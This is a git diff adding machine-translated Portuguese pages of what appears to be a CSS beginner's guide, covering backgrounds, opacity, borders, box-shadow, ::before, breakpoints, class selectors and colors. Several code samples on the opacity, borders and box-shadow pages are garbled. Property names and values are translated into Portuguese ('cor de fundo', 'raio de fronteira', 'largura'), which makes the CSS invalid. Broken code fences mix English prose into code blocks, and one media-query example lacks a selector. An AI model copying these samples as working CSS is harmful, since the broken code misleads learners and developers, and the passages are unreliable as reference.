+.nome da classe{ cor de fundo: rgba (0,0,0, 0,5); } \`\` \` O exemplo acima define o plano de fundo como preto com 50% de opacidade. O último valor de um valor rgba é o valor alfa. Um valor alfa de 1 é igual a 100% e 0,5 (0,5 para curto) é de 50%. Usamos esse método para adicionar transparência a um elemento sem afetar o conteúdo interno.
+
+[Um exemplo codepen para mostrar intervalos de opacidade em segundo plano](https://codepen.io/lvcoulter/full/dVrwmK/)
+
+#### Mais Informações:
+
+Para mais informações, visite [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/opacity) [Propriedade CSS de Opacidade no CSS-Tricks](https://css-tricks.com/almanac/properties/o/opacity/)
+
+Suporte do navegador: [caniuse](https://caniuse.com/#search=opacity)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/background-size/index.md b/client/src/guide/portuguese/css/background-size/index.md
new file mode 100644
index 0000000000..ffca5aa793
--- /dev/null
+++ b/client/src/guide/portuguese/css/background-size/index.md
@@ -0,0 +1,35 @@
+---
+title: Background Size
+localeTitle: Tamanho do plano de fundo
+---
+## Tamanho do plano de fundo
+
+A propriedade background-size especifica o tamanho das imagens de fundo. Você pode definir um comprimento ou uma porcentagem, com o primeiro valor sendo a largura e o segundo sendo a altura. Você também pode usar um dos cinco valores de palavras-chave:
+
+```css
+.auto {background-size: auto;} 
+ .cover {background-size: cover;} 
+ .contain {background-size: contain;} 
+ .initial {background-size: initial;} 
+ .inherit {background-size: inherit;} 
+ /* Percentage and pixel can also be used */ 
+ .pixel {background-size: 50px 50px;} 
+ .percentage {background-size: 50% 50%;} 
+```
+
+Para definir essa propriedade em várias imagens de plano de fundo, separe os valores por vírgula:
+
+```css
+.multiple { 
+    background-image: url(1.png), url(2.png); 
+    background-size: 3px 3px, cover; 
+ } 
+```
+
+#### Mais Informações:
+
+Documentação: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/background-size)
+
+Truques CSS: [tamanho de fundo](https://css-tricks.com/almanac/properties/b/background-size/)
+
+Suporte ao Navegador: [caniuse](http://caniuse.com/#search=background-size)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/background/index.md b/client/src/guide/portuguese/css/background/index.md
new file mode 100644
index 0000000000..5992fac40a
--- /dev/null
+++ b/client/src/guide/portuguese/css/background/index.md
@@ -0,0 +1,177 @@
+---
+title: Background
+localeTitle: fundo
+---
+## fundo
+
+A propriedade background permite usar imagens e cores para criar planos de fundo para suas páginas da web.
+
+### Cor de fundo
+
+A propriedade da cor de fundo permite que você escolha a cor do seu elemento. Isso pode ser o plano de fundo para a página inteira ou o plano de fundo de uma seção da sua página.
+
+*   Um elemento é um pedaço de HTML, como um cabeçalho ou parágrafo em uma página da web.
+
+Aqui está um exemplo de como definir a cor do plano de fundo de uma página da Web para verde.
+
+```css
+  body { 
+    background-color: green; 
+  } 
+```
+
+![fullbackground](https://user-images.githubusercontent.com/26467304/31036038-845567f2-a538-11e7-8e6c-8a52bb0d44b8.png)
+
+Aqui está um exemplo de configuração das cores para dois elementos. Isso definirá o plano de fundo do cabeçalho para roxo e o resto da página para azul.
+
+```css
+  body { 
+    background-color: blue; 
+  } 
+  h1 { 
+    background–color: purple; 
+  } 
+```
+
+![twobackground](https://user-images.githubusercontent.com/26467304/31036152-0607936a-a539-11e7-9e9f-a5e60ade042d.png)
+
+Na cor CSS pode ser definido de três maneiras:
+
+*   Um nome de cor válido, como `blue`
+*   Um valor hexadecimal como `#FFFFF` (este é o valor hexadecimal para branco).
+*   Um valor RGB como `rgb(76,175,80)` (Esse é o valor RGB para verde claro.)
+
+### Imagens de fundo
+
+Você pode usar a propriedade background image para definir uma imagem como plano de fundo para um elemento. A imagem é repetida por padrão para cobrir todo o elemento.
+
+```css
+body { 
+  background-image: url("barn.jpg"); 
+ } 
+```
+
+![imagem](https://user-images.githubusercontent.com/26467304/31036366-eb1fc260-a539-11e7-835d-e3f935a22c86.png)
+
+Você também pode vincular fotos ou gifs que encontrar on-line usando o link deles (ou seja, do Google Images, uma pesquisa).
+
+```css
+body { 
+  background-image: url("https://mdn.mozillademos.org/files/11983/starsolid.gif"); 
+ } 
+```
+
+### Imagem de fundo - a propriedade de repetição
+
+A imagem de fundo é repetida verticalmente (para cima e para baixo) e horizontalmente (na página da web) por padrão. Você pode usar a propriedade background-repeat para repetir a imagem vertical ou horizontalmente.
+
+Aqui está um exemplo que repete a imagem verticalmente.
+
+```css
+body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: repeat-y; 
+ } 
+```
+
+![vertical](https://user-images.githubusercontent.com/26467304/31039770-8962c7a6-a54e-11e7-9d25-4fb09760d219.PNG)
+
+Você pode repetir a imagem horizontalmente definindo a propriedade background-repeat para “repeat-x”.
+
+```css
+body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: repeat-x; 
+ } 
+```
+
+Você também pode usar a propriedade background-repeat para definir uma imagem para não repetir.
+
+```css
+body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: no-repeat; 
+ } 
+```
+
+![norepeat](https://user-images.githubusercontent.com/26467304/31039801-c8761efc-a54e-11e7-8bb9-ec5b88885a50.PNG)
+
+### Imagem de fundo - a propriedade de posição
+
+Você pode usar a propriedade position para especificar onde sua imagem estará localizada em uma página da web.
+
+```css
+body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: no-repeat; 
+  background-position: right top; 
+ } 
+```
+
+![posição](https://user-images.githubusercontent.com/26467304/31039828-077d1038-a54f-11e7-8aa6-092253ca92b8.PNG)
+
+### Imagem de fundo - a posição fixa
+
+Você pode usar a propriedade de anexo de plano de fundo para definir uma imagem para uma posição fixa. Uma posição fixa faz com que uma imagem não rola com o resto da página.
+
+```css
+body { 
+  background-image: url("barn.jpg"); 
+  background-repeat: no-repeat; 
+  background-position: right top; 
+  background-attachment: fixed; 
+ } 
+```
+
+![fixo](https://user-images.githubusercontent.com/26467304/31039859-39612c92-a54f-11e7-93ca-9d7bcb938225.PNG)
+
+### Gradientes de fundo
+
+Um gradiente é uma transição entre duas ou mais cores e pode ser usado via CSS semelhante a uma imagem de fundo.
+
+A sintaxe de um fundo gradiente pode ser bastante complexa e, muitas vezes, ainda é usada com prefixos de fornecedores devido a inconsistências entre os navegadores suportados.
+
+O [Colorzilla Gradient Editor](http://www.colorzilla.com/gradient-editor/) é uma ótima ferramenta on-line para gerar gradientes personalizados e a marcação de CSS associada.
+
+### Plano de fundo - a propriedade de taquigrafia
+
+Você pode escrever as propriedades de fundo em uma única linha. Isso é chamado de propriedade abreviada.
+
+```css
+body { 
+  background: url("barn.jpg") no-repeat right top; 
+ } 
+```
+
+Você pode deixar de fora as propriedades desnecessárias ao usar a propriedade abreviada, mas as propriedades deve ser usado em uma determinada ordem. A ordem é:
+
+*   cor
+*   imagem
+*   repetir
+*   anexo
+*   posição
+
+### Múltiplas Imagens de Fundo
+
+Você pode especificar várias imagens de fundo em uma única propriedade de plano de fundo.
+
+```css
+body { 
+  background: url("barn.jpg"), url("stars.jpg"), linear-gradient(rgba(0, 0, 255, 0.5), rgba(255, 255, 0, 0.5)); 
+ } 
+```
+
+A primeira imagem (ou gradiente) especificada é a mais no topo, a segunda vem depois e assim por diante. Se um dos elementos não estiver correto devido a sua URL ou sua sintaxe, a linha inteira será ignorada pelo navegador.
+
+### Algumas propriedades básicas de fundo do CSS
+
+As propriedades de plano de fundo do CSS são usadas para definir os efeitos de segundo plano para elementos.
+
+Propriedades de fundo CSS: cor de fundo imagem de fundo fundo de repetição fundo de ligação posição de fundo
+
+Você pode consultar o seguinte link para as escolas W3 para saber mais sobre o background e assuntos relacionados em CSS. [Referência de fundo para W3](https://www.w3schools.com/css/css_background.asp)
+
+### Outros recursos
+
+*   [Lista de valores de cor](http://cloford.com/resources/colours/500col.htm)
+*   [Ferramenta de seleção de cores](http://colrd.com/create/palette/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/before-selector/index.md b/client/src/guide/portuguese/css/before-selector/index.md
new file mode 100644
index 0000000000..27aa0d535a
--- /dev/null
+++ b/client/src/guide/portuguese/css/before-selector/index.md
@@ -0,0 +1,66 @@
+---
+title: Before Selector
+localeTitle: Antes do seletor
+---
+## Antes do seletor
+
+O seletor CSS **:: before** pode ser usado para inserir qualquer coisa antes do conteúdo de um elemento ou elementos. Ele permite que o designer execute qualquer design de CSS antes do conteúdo de um elemento. É usado anexando **:: before** a um elemento no qual ele será usado.
+
+Vamos ver alguns exemplos:
+
+```css
+p::before { 
+    content: ""; 
+    border: solid 5px #ccc 
+ } 
+ 
+ span.comment::before{ 
+  content: "Comment: "; 
+  color: blue; 
+ } 
+```
+
+```html
+
+<p> To infinity and beyond</p> 
+ <p> I am buz lightyear, I come in peace.</p> 
+ 
+ <span class="comment"> May the force be with you</span> 
+ <br/> 
+ <span> Do. Or do not. There is no try</span> 
+```
+
+No exemplo acima, estamos prefixando uma borda cinza antes de cada elemento de parágrafo em uma página e também estamos prefixando as palavras comment em azul antes de cada elemento de span com o comentário de classe.
+
+> Você pode conferir esta demonstração aqui https://jsfiddle.net/398by400/
+
+#### Definição e uso
+
+`::before` é um dos seletores de pseudo-elementos CSS, que são usados ​​para estilizar partes especificadas de um elemento. Nesse caso, podemos inserir o conteúdo antes de algum elemento HTML do CSS. Apesar de vermos o conteúdo na página, não é parte do DOM, o que significa que não podemos manipulá-lo a partir do Javascript. Um truque para resolver esse problema: passar o conteúdo com um atributo de dados e usar o jQuery para manipulá-lo. Aqui está um exemplo de uso:
+
+```css
+   p::before { 
+     content: "Hello "; 
+   } 
+```
+
+```html
+
+<p>world!!</p> 
+```
+
+Isso vai mostrar `Hello world!!` na página.
+
+Não apenas strings, também imagens, contadores ou até mesmo nada ("", útil para clearfix) podem ser inseridos no `content` do `content` , mas **não em HTML** . Há um bom número de coisas legais que podem ser feitas usando `::before` e `after` maneira criativa. Você pode dar uma olhada no próximo link se você está curioso: [Um grupo inteiro de pseudo-elementos de coisas incríveis pode fazer](https://www.w3schools.com/css/css_pseudo_elements.asp)
+
+#### Único-cólon vs duplo-cólon
+
+Há um pouco de discussão sobre a maneira correta de usar pseudoelementos: estilo antigo de ponto-e-vírgula ( `:before` ), usado nas especificações CSS 1 e 2, versus recomendação CSS3, dois-pontos ( `::before` ), principalmente para _"estabelecer uma discriminação entre pseudo-classes e pseudo-elementos "_ . Mas, por razões de compatibilidade, o cólon único ainda é aceito. Falando sobre compatibilidade, o IE8 suporta apenas a notação de dois pontos.
+
+#### Mais Informações:
+
+[Pseudo-elementos CSS do W3Schools](https://www.w3schools.com/css/css_pseudo_elements.asp)
+
+[CSS-Tricks :: depois de / :: antes](https://css-tricks.com/almanac/selectors/a/after-and-before/)
+
+[Selecionando e manipulando pseudoelementos CSS como :: before e :: after jQuery](https://stackoverflow.com/questions/5041494/selecting-and-manipulating-css-pseudo-elements-such-as-before-and-after-usin)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/borders/index.md b/client/src/guide/portuguese/css/borders/index.md
new file mode 100644
index 0000000000..2014a64b44
--- /dev/null
+++ b/client/src/guide/portuguese/css/borders/index.md
@@ -0,0 +1,116 @@
+---
+title: Border Property
+localeTitle: Propriedade Border
+---
+## Propriedade Border
+
+## Borda CSS
+
+Nosso atributo CSS favorito, permite que você personalize completamente as bordas que aparecem em torno dos elementos HTML. Com o HTML, costumava ser impossível colocar uma borda em torno de um elemento, exceto a tabela. As bordas de CSS permitem criar estilos de borda nítidos e personalizados com muito pouco trabalho, em comparação com os métodos antiquados de HTML.
+
+A propriedade abreviada de `border` define todas as propriedades da borda em uma declaração. \`\` \`css borda: 1px sólido # 000;
+```
+The properties that can be set, are (in order): 
+ 1. `border-style` 
+ 2. `border-width` 
+ 3. `border-color` 
+ 4. `border-radius` 
+ 
+ It does not matter if one of the values above are missing, for example: 
+```
+
+css borda: vermelho sólido;
+```
+The above code is also valid CSS. 
+ 
+ ### Border Styles 
+ 
+ The `border-style` property sets a wide range of different types of borders. 
+ 
+ The various values are: 
+ - `dotted` - Sets a dotted border. 
+ - `dashed` - Sets a dashed border. 
+ - `solid` - Sets a solid border. 
+ - `double` - Sets a double border. 
+ - `groove` - Sets a 3D grooved border. 
+ - `ridge` - Sets a 3D ridged border. 
+ - `inset` - Sets a 3D inset border. 
+ - `outset` - Sets a 3D outset border. 
+ - `none` - Sets no border. 
+ - `hidden` - Sets a hidden border. 
+ 
+ Based on the property you choose, these styles can be mismatched. 
+ You can style each side seperately: 
+```
+
+css border-top-style: sólido; border-left-style: pontilhado; border-right-style: tracejado; border-bottom-style: duplo;
+```
+Or you can style them all at once: 
+```
+
+css estilo de borda: sólido pontilhado duplo;
+```
+As shown, the border property allows you to select different sections of it. [top, bottom, left, right] 
+ 
+ ### Border Width 
+ 
+ To alter the thickness of your border use the border-width attribute. You may use key terms or exact values to define the border width. Note: You must 
+ define a border-style for the border to show up. The width can be set as a specific size (in px, pt, cm, em, etc) or by using one of the three pre-defined 
+ values: thin, medium, or thick. 
+ 
+ Example: 
+```
+
+css
+
+table { border-width: 7px; border-style: outset; } td { border-width: medium; border-style: outset; } p { border-width: thick; border-style: solid; }
+```
+### Border Color 
+ 
+ Now for the creative aspect of CSS Borders! With the use of the border-color attribute, you will be able to create customized borders to fit the flow and layout 
+ of your website. Border colors can be any color defined by RGB, hexadecimal, or key terms. Below is an example of each of these types. 
+ 
+ Example: 
+```
+
+css
+
+table { border-color: rgb( 100, 100, 255); border-style: dashed; } td { border-color: #FFBD32; border-style: ridge; } p { border-color: blue; border-style: solid; }
+```
+### Border-Radius 
+ The `border-radius` property allows the corners of a border to be rounded. This is done by providing a size for 
+ how much the border is to be rounded. Size can be in px or %. 
+```
+
+css raio de fronteira: 25 px;
+```
+Each corner of `border-radius` can be adjusted. The order is top, bottom, left, right. 
+```
+
+css raio de fronteira: 15% 10px 30% 5px;
+```
+### Border: All in One 
+ 
+ While it is nice that CSS allows a web developer to be very specific in creating a customized border, sometimes it is just easier and less of a headache to create a uniform border, all in single line of CSS code. 
+ 
+ Example: 
+```
+
+css
+
+p { border: 20px outset blue; } h4 { border: 5px solid; } h5 { border: dotted; }
+
+\`\` \`
+
+### Mais Informações:
+
+*   [Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/border)
+*   [Raio da Borda CSS3](https://guide.freecodecamp.org/css/css3-borders-rounded-corners)
+
+### Outros atributos de borda
+
+*   'border-radius' - Isso pode definir o raio da borda.
+*   'border-espaçamento' - Isso pode definir o espaçamento entre o texto e a borda.
+*   'border-image' - Isto define uma imagem como borda.
+
+Suporte ao Navegador: IE6 +
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/box-shadow/index.md b/client/src/guide/portuguese/css/box-shadow/index.md
new file mode 100644
index 0000000000..2b46803bb7
--- /dev/null
+++ b/client/src/guide/portuguese/css/box-shadow/index.md
@@ -0,0 +1,82 @@
+---
+title: Box Shadow
+localeTitle: Sombra da caixa
+---
+## Sombra da caixa
+
+A propriedade `box-shadow` anexa uma ou mais sombras ao redor do quadro de um elemento (pode estar dentro). É uma opção que lhe dá o poder de criar facilmente maravilhosos efeitos de sombra. As sombras de caixa são uma ótima maneira de elevar o visual da sua página da web.
+
+Uma sombra de caixa pode ser descrita com várias propriedades, incluindo:
+
+*   Deslocamentos X e Y do elemento
+*   borrão e raio de propagação
+*   cor
+
+### Sintaxe:
+
+```css
+  div { 
+    box-shadow: none | [inset? && [ <offset-x> <offset-y> <blur-radius>? <spread-radius>? <color>? ] ]# 
+    } 
+  ``` 
+ * #### inset (default: none) 
+ If not specified, the shadow is assumed to be a drop shadow (as if the box were raised above the content). 
+ The presence of the `inset` keyword changes the shadow to one inside the frame 
+ 
+ * #### offset-x offset-y 
+ These are two `length` values to set the shadow offset. <offset-x> specifies the horizontal distance. Negative values place the shadow to the left of the element. `offset-y` specifies the vertical distance. Negative values place the shadow above the element. See `length` for possible units. 
+ 
+ * #### blur-radius (default: 0) 
+ This is a third `length` value. The larger this value, the bigger the blur, so the shadow becomes bigger and lighter. Negative values are not allowed. If not specified, it will be 0 (the shadow's edge is sharp). 
+ 
+ * #### spread-radius (default: 0) 
+ This is a fourth <length> value. Positive values will cause the shadow to expand and grow bigger, negative values will cause the shadow to shrink. If not specified, it will be 0 (the shadow will be the same size as the element). 
+ 
+ * #### color 
+ This value is used to set the color of the shadow, usually defined with hex `#000000`, rgba value `rgba(55,89,88,0.8)` or rgb value `rgb(55,89,88)` 
+ 
+ #### Extended 
+ 
+ To maximize compatibility, it is recommended that you declare box shadow property for `moz-appearance` and `webkit`, this extends the normal syntax to: 
+```
+
+css div { box-shadow: none | \[inserir? && \[ ? ? ? \]\] # -moz-box-shadow: none | \[inserir? && \[ ? ? ? \]\] # -webkit-box-shadow: none | \[inserir? && \[ ? ? ? \]\] # }
+```
+However, this step can be ignored if it is creating confusion, as moz property and webkit property will only work in specific applications such as Firefox, and are not on a standards track. 
+ 
+ ### Examples 
+ 
+ #### Basic use 
+```
+
+css div { largura: 200px; altura: 50 px; cor de fundo: # 333; box-shadow: 10px 10px 5px #ccc; }
+```
+10px - offset-x 
+ 10px - offset-y 
+ 5px -  blur 
+ #ccc - light gray color 
+ 
+ It will display 
+ 
+ ![image](https://raw.githubusercontent.com/krzysiekh/images/master/box-shadow1.png) 
+ 
+ #### Inside box shadow 
+```
+
+css div { largura: 200px; altura: 50 px; cor de fundo: # 333; box-shadow: inserção 10px 10px 5px #ccc; }
+```
+It uses very similar code, but with inset value, which displays shadow inside the div element 
+ 
+ ![image](https://raw.githubusercontent.com/krzysiekh/images/master/box-shadow2.png) 
+ 
+ 
+ #### Multiple box shadows 
+```
+
+css div { largura: 200px; altura: 50 px; cor de fundo: # 333; box-shadow: inserção 10px 10px 5px #ccc, 10px 10px 5px #ccc; } \`\` \`
+
+Você pode combinar as duas peças anteriores de sombras de caixa usando uma vírgula para obter várias sombras de caixa no mesmo div
+
+#### Mais Informações
+
+*   Documentos: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/box-shadow)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/breakpoints/index.md b/client/src/guide/portuguese/css/breakpoints/index.md
new file mode 100644
index 0000000000..f6d618b52f
--- /dev/null
+++ b/client/src/guide/portuguese/css/breakpoints/index.md
@@ -0,0 +1,192 @@
+---
+title: Breakpoints
+localeTitle: Pontos de interrupção
+---
+## Visão geral
+
+Um ponto de interrupção CSS é um ponto específico no qual o layout de um site é alterado, com base em uma [consulta de mídia](https://guide.freecodecamp.org/css/css3-media-queries) tornando-se ativo.
+
+Geralmente, você especifica um ponto de interrupção quando deseja readaptar o layout do site ao tamanho da porta de visualização do navegador; principalmente, para a largura da janela de visualização.
+
+Por exemplo, se o conteúdo do seu site estiver ótimo em uma viewport estreita (como em um navegador de smartphone), mas ele começar a ficar ruim em telas maiores (por exemplo, talvez o tamanho das fontes seja muito pequeno e difícil de ler), talvez queira introduzir um novo ponto de interrupção para telas maiores que aumentem as fontes:
+
+Pontos de interrupção CSS podem ser considerados como o coração do webdesign responsivo, pois definem como o conteúdo se comporta ou é organizado em uma largura / escala de dispositivo diferente, permitindo que você mostre o melhor layout possível para o usuário.
+
+![Exemplo](https://getflywheel.com/wp-content/uploads/2018/02/css-breakpoints-layouts-01.jpg)
+
+## Definindo Pontos de Quebra
+
+Os pontos de interrupção são amplamente definidos com base em um dos itens a seguir.
+
+*   Pontos de interrupção baseados na largura do dispositivo.
+*   Pontos de interrupção baseados em conteúdo.
+
+### Pontos de interrupção baseados na largura do dispositivo
+
+É evidente que todos os nossos dispositivos não possuem tamanhos / larguras de tela iguais. Agora é uma decisão de design incluir um conjunto de dispositivos específicos e codificar as regras de css de acordo. Já temos dispositivos suficientes para nos preocupar, e quando um novo sai com uma largura diferente, voltar ao seu CSS e adicionar um novo ponto de interrupção novamente é demorado.
+
+Aqui está um exemplo
+```
+/* ----------- iPhone 6, 6S, 7 and 8 ----------- */ 
+ 
+ /* Portrait */ 
+ 
+ @media only screen 
+ 
+ and (min-device-width: 375px) 
+ 
+ and (max-device-width: 667px) 
+ 
+ and (-webkit-min-device-pixel-ratio: 2) 
+ 
+ and (orientation: portrait) { 
+ 
+ } 
+ 
+ /* Landscape */ 
+ 
+ @media only screen 
+ 
+ and (min-device-width: 375px) 
+ 
+ and (max-device-width: 667px) 
+ 
+ and (-webkit-min-device-pixel-ratio: 2) 
+ 
+ and (orientation: landscape) { 
+ 
+ } 
+ 
+ /* ----------- Google Pixel ----------- */ 
+ 
+ /* Portrait */ 
+ 
+ @media screen 
+ 
+ and (device-width: 360px) 
+ 
+ and (device-height: 640px) 
+ 
+ and (-webkit-device-pixel-ratio: 3) 
+ 
+ and (orientation: portrait) { 
+ 
+ } 
+ 
+ /* Landscape */ 
+ 
+ @media screen 
+ 
+ and (device-width: 360px) 
+ 
+ and (device-height: 640px) 
+ 
+ and (-webkit-device-pixel-ratio: 3) 
+ 
+ and (orientation: landscape) { 
+ 
+ } 
+```
+
+> Com essa abordagem, você terá uma lista enorme de consultas de mídia.
+
+### Pontos de interrupção baseados no conteúdo
+
+Essa é a opção preferida ao criar ou gravar as regras de ponto de interrupção. Porque é fácil ajustar seu conteúdo de acordo com um layout específico somente quando ele requer uma alteração.
+```
+@media only screen (min-width: 768px){ 
+ ... 
+ } 
+```
+
+> Este ponto de interrupção significa que o CSS será aplicado quando a largura do dispositivo for 768px ou superior.
+
+#### Você também pode definir um intervalo com pontos de interrupção, portanto, o CSS só será aplicado dentro desses limites.
+```
+@media only screen and (min-width: 768px) and (max-width: 959px){ 
+ 
+ ... 
+ 
+ } 
+```
+
+**Nota** Sempre tente criar pontos de interrupção com base em seu próprio conteúdo, não em dispositivos. Divida-os em uma largura lógica em vez de em uma largura aleatória e mantenha-os em um número gerenciável, portanto, a modificação permanece simples e clara.
+
+**Os pontos de interrupção CSS** são úteis quando você deseja atualizar estilos com base no tamanho da tela. Por exemplo, de um dispositivo que mede 1200px de largura e acima, use o `font-size: 20px;` da `font-size: 20px;` , ou então use o `font-size: 16px;` da `font-size: 16px;` .
+
+O que nós começamos é de mais de 1200px, largura de tela de um laptop comum. Você também pode ter notado que mencionamos 'maior que', significando que estamos de certa forma usando algo como uma instrução ' **se-então** '.
+
+Vamos transformá-lo em código CSS:
+
+```css
+.text1 { 
+    font-size: 16px; 
+ } 
+ @media (min-width: 1200px) { 
+    .text1 { 
+        font-size: 20px; 
+    } 
+ } 
+```
+
+**Para nossa conveniência** , escrevemos primeiro o estilo básico `.text1` ... depois, vamos especificar as regras `@media` .
+
+**Dica** : você pode ver em um Framework CSS comum chamado 'Bootstrap', que eles adotaram **'min-width' e up** em seu Bootstrap v4.0, em comparação com seu antigo Bootstrap v3.0 usando **'max-width' e down** . Isso é apenas uma **preferência** , e não há nada de errado em dizer " _esse_ tamanho e menos que" versus " _esse_ tamanho e maior que".
+
+Não há problema em usar `@media (max-width) {}` . Aqui está um exemplo:
+
+```css
+.text1 { 
+    font-size: 20px; 
+ } 
+ @media (max-width: 1199px) { 
+    font-size: 16px; 
+ } 
+```
+
+```css
+// Normal, basic styles 
+ // that look great on small screens 
+ // but not on bigger screens 
+ body { 
+  font-size: 16px; 
+ } 
+ 
+ // Define a new breakpoint, with a media query. 
+ // In this case, for when the viewport's width 
+ // is at least 512px wide. 
+ @media (min-width: 512px) { 
+    body { 
+        font-size: 20px; 
+    } 
+ } 
+```
+
+Os pontos de interrupção baseados no conteúdo, e não no dispositivo, são menos complicados. Aqui está um trecho simples que é acionado quando a largura do dispositivo é ascendente do `code 700px` aproximadamente da tela do smartphone
+
+```css
+@media only screen and (min-width: 700px) { 
+  something { 
+    something: something; 
+  } 
+ } 
+```
+
+Você também pode definir uma largura mínima e máxima, o que permite que você faça experimentos com intervalos diferentes. Este dispara entre smar-phone e tamanhos maiores de desktops e monitores
+
+```code
+@media only screen and (min-width: 700px) and (max-width: 1500px) { 
+  something { 
+    something: something; 
+  } 
+ } 
+```
+
+#### Mais Informações:
+
+*   [Pontos de interrupção responsivos](https://getbootstrap.com/docs/4.1/layout/overview/#responsive-breakpoints)
+*   [artigo freecodecamp.org sobre como usar pontos de interrupção CSS](https://medium.freecodecamp.org/the-100-correct-way-to-do-css-breakpoints-88d6a5ba1862)
+*   [Consultas de mídia CSS3](https://guide.freecodecamp.org/css/css3-media-queries)
+*   [Definindo pontos de interrupção](https://responsivedesign.is/strategy/page-layout/defining-breakpoints/)
+*   [CSS-Tricks: @media queries](https://css-tricks.com/snippets/css/media-queries-for-standard-devices/)
+*   [w3schools: pontos de interrupção típicos do dispositivo](https://www.w3schools.com/howto/howto_css_media_query_breakpoints.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/class-selector/index.md b/client/src/guide/portuguese/css/class-selector/index.md
new file mode 100644
index 0000000000..1893d4b48a
--- /dev/null
+++ b/client/src/guide/portuguese/css/class-selector/index.md
@@ -0,0 +1,65 @@
+---
+title: Class Selector
+localeTitle: Seletor de Classe
+---
+## Seletor de Classe
+
+Um Class Selector é usado em um arquivo CSS para aplicar estilo aos elementos HTML com o nome da classe correspondente. Em HTML, você pode definir o nome da classe para qualquer elemento, adicionando um atributo "class".
+
+Para selecionar elementos com uma classe específica, usamos um (.) Chamado de caractere de período, com o nome da classe.
+
+Por exemplo .Centro { texto-alinhar: centro; cor vermelha; }
+
+Aqui, todos os elementos HTML com `class="center"` serão vermelhos e alinhados ao centro.
+
+Exemplos:
+
+```html
+
+<h1 class="test">This is a heading 1</h1> 
+ <p class="test">This is a paragraph 1</p> 
+ <h2 class="test">This is a heading 2</h2> 
+ <p class="test">This is a paragraph 2</p> 
+ <div class="test2 test3">This is a div 1</div> 
+```
+
+Como um nome de classe não é exclusivo, o atributo de classe HTML possibilita definir estilos iguais para elementos com o mesmo nome de classe. **Aqui está como você pode selecionar a classe em um arquivo CSS para os elementos de estilo (observe a notação):**
+
+**Todos os elementos do `test` de classe serão aplicados com este estilo:**
+
+```css
+.test { 
+  color: green; 
+ } 
+```
+
+**Todos os elementos `<p>` do `test` de classe serão aplicados com este estilo:**
+
+```css
+p.test { 
+  border: 1px solid black; 
+  color: red; 
+ } 
+```
+
+**Todos os elementos `<h1>` e `<h2>` do `test` de classe serão aplicados com este estilo:**
+
+```css
+h1.test, h2.test { 
+  color: blue; 
+ } 
+```
+
+**Todos os elementos que tiverem tanto a classe `test2` quanto o `test3` serão aplicados com este estilo:**
+
+```css
+.test2.test3 { 
+  color: green; 
+ } 
+```
+
+**Dicas: Sem espaço entre várias classes.**
+
+#### Mais Informações:
+
+Sintaxe CSS e Seletores: [w3schools](https://www.w3schools.com/css/css_syntax.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/colors/index.md b/client/src/guide/portuguese/css/colors/index.md
new file mode 100644
index 0000000000..14341037d0
--- /dev/null
+++ b/client/src/guide/portuguese/css/colors/index.md
@@ -0,0 +1,93 @@
+---
+title:  CSS3 Colors
+localeTitle:  CSS3 Colors
+---
+## Cores
+
+CSS Colors é um módulo CSS que lida com cores, tipos de cores, mistura de cores e opacidade. Nem todas as propriedades CSS que levam um como um valor fazem parte deste módulo, mas dependem dele. Em CSS, você pode alterar a cor de quase todos os elementos da sua página HTML. Propriedades como `background-color` , `color` e `border-color` definem a cor desses elementos.
+
+CSS suporta nomes de cores, hexadecimais e cores RGB. Além da introdução da declaração de `opacity` , as cores em CSS3 agora podem ser especificadas usando nomes de cores, ou valores RGB, HEX, HSL, RGBA, HSLA.
+
+O HTML suporta 140 [nomes de cores](https://www.w3schools.com/colors/colors_names.asp) padrão.
+
+### RGB (A)
+
+RGB significa "Vermelho, Verde, Azul". Um valor RGB é uma combinação de valores de intensidade para vermelho, verde e azul. Cada um está entre 0 (preto) e 255 (intensidade total). Os valores de cores RGBA são uma extensão dos valores de cores RGB com um canal alfa - que especifica a opacidade de uma cor. O parâmetro alfa é um número entre 0,0 (totalmente transparente) e 1,0 (totalmente opaco).
+
+Um valor de cor RGB é especificado com: rgb (vermelho, verde, azul) Um valor de cor RGBA é semelhante, com o valor alfa na última posição: rgba (vermelho, verde, azul, alfa)
+
+### HSL (A)
+
+HSL significa "matiz, saturação e leveza". Matiz é um grau na roda de cores (de 0 a 360): 0 (ou 360) é vermelho 120 é verde 240 é azul Saturação é um valor percentual: 100% é a cor total. Leveza também é uma porcentagem; 0% é escuro (preto) e 100% é branco. Os valores de cores do HSLA são uma extensão dos valores de cores do HSL com um canal alfa - que especifica a opacidade de uma cor.
+
+Um valor de cor HSL é especificado com: hsl (matiz, saturação, luminosidade). Um valor de cor HSLA é semelhante, com o valor alfa na última posição: hsla (matiz, saturação, luminosidade, alfa)
+
+### CMYK
+
+As cores CMYK são uma combinação de CIANO, MAGENTA, AMARELO e PRETO. Telas de computador exibem cores usando valores de cores RGB. Impressoras geralmente apresentam cores usando valores de cores CMYK. O CMYK não é suportado em HTML, mas é sugerido como um novo padrão no CSS4.
+
+Exemplo de cores: Vermelho CMYK: cmyk (0%, 100%, 100%, 0%) CMYK Verde: cmyk (100%, 0%, 100%, 0%) Azul CMYK: cmyk (100%, 100%, 0%, 0%)
+
+### Hexcodes
+
+Hexcode, abreviação de código hexadecimal, é uma maneira de expressar um valor de cor para o seu computador. É assim chamado porque 16 símbolos únicos podem ser usados ​​como valores. Nesse caso, os números de 0 a 9 e as letras de a f são usados.
+
+Os códigos hexadecimais são expressos neste formato: # 000000, que seria a cor preta nesta instância. Seis caracteres são usados ​​em cada hexcode, usando qualquer um dos 16 caracteres mencionados anteriormente. Esses seis personagens são divididos em três pares de dois.
+
